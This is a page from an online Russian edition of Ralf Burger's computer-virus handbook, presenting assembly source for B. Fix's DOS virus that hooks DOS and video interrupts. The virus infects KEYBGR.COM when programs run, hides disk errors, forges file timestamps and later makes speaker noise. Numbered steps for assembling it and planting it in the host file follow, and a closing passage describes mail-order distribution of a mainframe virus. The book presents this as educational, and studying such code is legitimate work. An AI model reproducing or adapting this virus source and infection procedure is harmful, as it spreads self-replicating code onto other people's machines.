Главная · Поиск книг · Поступления книг · Top 40 · Форумы · Ссылки · Читатели

Настройка текста
Перенос строк


    Прохождения игр    
Demon's Souls |#13| Storm King
Demon's Souls |#11| Мaneater part 2
Demon's Souls |#10| Мaneater (part 1)
Demon's Souls |#9| Heart of surprises

Другие игры...


liveinternet.ru: показано число просмотров за 24 часа, посетителей за 24 часа и за сегодня
Rambler's Top100
Образование - Ральф Бургер Весь текст 616.55 Kb

Большой справочник по компьютерным вирусам

Предыдущая страница Следующая страница
1 ... 25 26 27 28 29 30 31  32 33 34 35 36 37 38 ... 53
             ORG     8OH
DTA          DW      128 DUP(?)           ; область  передачи
                                          ; данных диска

             ORG     071EH                ; конец   обычного
                                          ; файла
                                          ; KEYBGR.COM
             XOR     AX,AX
             MOV     ES,AX                ; ES  указывает на
                                          ; ABSO
             ASSUME  ES:ABSO
             PUCH    CS
             POP     DS
             MOV     AX,VIDEO_INT         ; хранящиеся в памяти
                                          ; старые векторы
                                          ; прерывания
             MOV     BX,VIDEO_INT+2
             MOV     word ptr VIDEO_VECTOR,AX
             MOV     word ptr VIDEO_VECTOR+2,BX
             MOV     AX,DOS_INT
             MOV     BX,DOS_INT+2
             MOV     word ptr DOS_VECTOR,AX
             MOV     word ptr DOS_VECTOR+2,BX
             CLI
             MOV     DOS_INT,OFFSET VIRUS     ; новый вектор DOS
                                              ; указывает на
                                              ; VIRUS
             MOV     DOS_INT+2,CS
             MOV     VIDEO_INT,OFFSET DISEASE ; вектор VIDEO
                                              ; указывает на
                                              ; DISEASE
             MOV     VIDEO_INT+2,CS
             STI

             MOV     AH,0
             INT     1AH                      ; считать
                                              ; TimeOfDay

                           - 187 -
                                              ; (TOO)
             MOV     TIME_0,DX

             LEA     DX,VIRUS_ENDE
             INT     27H                      ; программа
                                              ; завершается,
                                              ; но остается
                                              ; резидентом
VIDIO_VECTOR Dd  (?)
DOS_VECTOR   Dd  (?)
ERROR_VECTOR DW  2 DUP(?)
TIME_0       DW     ?

;
;    Основная часть программы VIRUS :
;
;    1.   Вызов системы AH=4BH ?
;         Нет:---> 2.
;         Да : Проверить KEYBGR.COM на указанном дисководе
;              Файл уже заражен ?
;              Да : ---> 3.
;              Нет: внести вирус!
;
;    2.  Передача управления в обычный DOS
;
RNDVAL     DB     'bfhg'         ; неактивен
ACTIVE     DB     0              ; самый первый вирус
PRESET     DB     0              ; неактивен!

           DB     'A:'
FNAME      DB     'KEYBGR COM'
           DB     0

VIRUS      PROC   FAR
           ASSUME CS:CODE, DS:NOTHING, ES:NOTHING

           PUSH   AX
           PUSH   CX
           PUSH   DX

                           - 188 -

           MOV    AH,0           ; проверить , прошло ли по
                                 ; крайней мере 15 мин.
           INT    1AH            ; с момента инициализации
           SUB    DX,TIME_0      ; (16384 такта датчика
           CMP    DX,16384       ; времени =15 мин.)

           JL     $3
           MOV    ACTIVE,1       ; если да, активизировать
                                 ; вирус

$3:        POP    DX
           POP    CX
           POP    AX
                                 ; доступ к дискете через
                                 ; команду
           CMP    AX,4B00H       ; DOS
           JE     $1             ; "загрузить и выполнить
                                 ; программу"

EXIT_1:    JMP    DOS_VECTOR     ; Нет : ---> обычное положение

$1:        PUSH   ES             ; ES:BS ---> блок параметров
           PUSH   BX             ; DS:DX ---> имя файла
           PUSH   DX             ; сохраненные регистры, которые
                                 ; пока не нужны для INT 21H
           PUSH   DX             ; (AH=4BH)
           MOV    DI,DX
           MOV    DRIVE,0        ; Задать дисковод для
           MOV    AL,DS: DI+1    ; подлежащей исполнению
                                 ; программы
           CMP    AL,':'
           JNE    $5
           MOV    AL,DS: DI
           SUB    AL, 'A'-1
           MOV    DRIVE,AL

$5:
           CLD

                           - 189 -
           PUSH   CS
           POP    DS
           XOR    AX,AX
           MOV    ES,AX
           ASSUME DS: CODE, ES:ASSO
           MOV    AX,ERROR_INT    ; проигнорировать все
                                  ; "ошибки" дискеты с
           MOV    BX,ERROR_INT+2  ; помощью собственной
                                  ; программы обработки
                                  ; ошибок
           MOV    ERROR_VECTOR,AX
           MOV    ERROR_VECTOR+2,BX
           MOV    ERROR_INT,OFFSET ERROR
           MOV    ERROR_INT+2,CS

           PUSH   CS
           POP    ES
           ASSUME ES:CODE
           LEA    DX,DTA           ; область передачи данных
                                   ; диска выбрать
           MOV    AH,1AH
           INT    21H

           MOV    BX,11            ; передать имя файла
$2:
           MOV    AL,FNAME-1 BX
           MOV    FSPEC-1 BX,AL    ; в блок управления
                                   ; файлом
           DEC    BX
           JNZ    $2

           LEA    DX,FCB           ; открыть файл (для
           MOV    AH,0FH           ; записи)
           INT    21H
           CMP    AL,0
           JNE    EXIT_0           ; файл не существует
                                   ;---> завершение
           mov    byte ptr fcb+20h,0 ;


                           - 190 -
           MOV    AX,FTIME         ; файл уже заражен?
           CMP    AX,4800H
           JE     EXIT_0           ; Да ---> завершение

           MOV    PRESET,1         ; ( все копии
                                   ; заражены!)
           MOV    SI,100H          ; записать вирус
                                   ; в файл
$4:
           LEA    DI,DTA
           MOV    CX,128
           REP    MOVSB
           LEA    DX,FCB
           MOV    AH,15H
           INT    21H
           CMP    SI,OFFSET VIRUS_ENDE
           JL     $4
           MOV    FSIZE,OFFSET VIRUS_ENDE-100H
           MOV    FSIZE+2,0         ; задать корректный
                                    ; размер файла
           MOV    FDATE,0AA3H       ; задать корректную
                                    ; дату(03.05.86)
           MOV    FTIME,4800H       ; задать корректное
                                    ; время (09:00:00)
           LEA    DX,FCB            ; закрыть файл
           MOV    AH,10H
           INT    21H
           XOR    AX,AX
           MOV    ES,AX
           ASSUME ES:ABSO

           MOV    AX,ERROR_VECTOR     ; сбросить прерывание
                                      ; по ошибке
           MOV    BX,ERROR_VECTOR+2
           MOV    ERROR_INT,AX
           MOV    ERROR_INT+2,BX

EXIT_0:
           POP    DX                  ; восстановить значение

                           - 191 -
                                      ; сохраненного регистра
           POP    DS
           POP    BX
           POP    ES
           ASSUME DS:NOTHING, ES:NOTHING
           MOV    AX,4B00H
           JMP    DOS_VECTOR          ; нормальное выполнение
                                      ; функции
VIRUS      ENDS

ERROR      PROC    FAR
           IRET                       ; просто игнорировать
                                      ; все ошибки
ERROR      ENDP

DISEASE    PROC   FAR

           ASSUME DS:NOTHING, ES:NOTHING
           PUSH   AX
           PUSH   CX                  ; этот регистр
                                      ; разрушается !
           TEST   PRESET,1
           JZ     EXIT_2
           TEST   ACTIVE,1
           JZ     EXIT_2

            IN     AL,61H             ; включить динамик
            AND    AL,0FEH            ; (бит 0:=0)
            OUT    61H,AL

            MOV    CX,3               ; счетчик циклов СХ

NOISE:
           MOV    AL,RNDVA            ;   :
           XOR    AL,RNDVAL+3         ;   :
           SHL    AL,1                ; сгенерировать шум
           SHL    AL,1                ;   :
           RCL    WORD PRT RNDVAL,1   ;   :
           RCL    WORD PRT RNDVAL+2,1 ;   :

                           - 192 -

           MOV    AH,RNDVAL
           AND    AH,2                ; вывод любого
           IN     AL,61H              ; бита сдвигового
           AND    AL,OFDH             ; регистра с
           OR     AL,AH               ; положительной
           OUT    61H,AL              ; обратной связью
           LOOP   NOISE              ;---> динамик шумит

           AND    AL,OFCH            ; динамик отключить
           OR     AL,1
           OUT    61H,AL

EXIT_2:
           POP    CX
           POP    AX
           JMP    VIDEO_VECTOR       ; переход в обычную
                                     ; программу
DISEASE    ENDP
           DB 'Эта программа является так называемой программой-'
           DB 'вирусом. Однажды активированная, она берет под   '
           DB 'свой контроль все системные устройства и даже    '
           DB 'выбранную пользователем запоминающую среду. Она  '
           DB 'самостоятельно копируется в пока незараженную    '
           DB 'операционную систему и тем самым распространяется'
           DB 'бесконтрольно. В этом случае вирус не разрушает  '
           DB 'программы пользователя или запоминающую среду,   '
           DB 'а лишь проявляет "филантропические" наклонности  '
           DB 'своего создателя...'

           ORG   1C2AH
VIRUS_ENDE LABEL      BYTE

CODE       ENDS
           END

     Как получить работоспособную программу:

1. исходную программу ассемблировать и линковать (связать)

                           - 193 -
2. Переименовать EXE-файл в СОМ-файл!
3. Загрузить переименованный ЕХЕ-файл в DEBUG
4. Уменьшить значение регистра СХ на 300Н
5. С помощью команды "w" записать в СОМ-файл на диск
6. Загрузить СОМ-файл с вирусом в DEBUG
7. Дозагрузить КEYBGR.COM
8. Следующим образом изменить адрес 71Еh
   71EH:  33  CO  8E  0E  1F  26
9. Записать файл КEYBGR.COM   длиной 1В2А на диск.

     На вопросы относительно программы "час пик" Вам ответить  ее
создатель Б. Фикс, если Вы обратитесь по адресу:
    B.Fix, Marienburger Str.1; 6900 Heidelberg-Kichheim

     Следующая  написанная  Б.Фиксом программа-вирус  работает  в
среде  операционной  системы MVS/370  на IBM  30хх,  написана  на
ассемблере OS/VS2 и может быть использована описанным ниже спосо-
бом.
     Поскольку  такого рода программа не должна  распространяться
бесконтрольно, покупателю придется пойти на некоторые уступки:
1.   Прислать письменный запрос по адресу:
     B.Fix
     Marienburgerst. 1
     6900 Heidelberg
2.   Отправитель запроса получит свой заказ с доставкой на  дом,
     приняв на себя обязательства ни в какой форме не  передавать
     никому распечатку программы.
3.   Получатель оба договора отправляет по указанному адресу.
4.   После поступления договоров и оплаченного счета автору прог-
     раммы покупатель получит один экземпляр договора и распечат-
     ку программы.
     Мы просим Вас с пониманием отнестись к этому несколько  нео-
бычному порядку выполнения заказа, поскольку он вызван  причинами
чрезвычайно  сложного устранения последствий внедрения  вируса  в
такого рода машиннвх.
     Теперь  о  том, как Б.Фикс описывает VP/360:  "Прежде  всего
программа должна позволить на конкретном примере получить  предс-
тавление о принципе работы компьютерных вирусов системным програ-
ммистам,  никогда ранее не имевшим опыта общения с ними.  Правда,

                           - 194 -
для этого требуется иметь определенное представление о  компьюте-
Предыдущая страница Следующая страница
1 ... 25 26 27 28 29 30 31  32 33 34 35 36 37 38 ... 53
Ваша оценка:
Комментарий:
  Подпись:
(Чтобы комментарии всегда подписывались Вашим именем, можете зарегистрироваться в Клубе читателей)
  Сайт:
 
Комментарии (1)

Реклама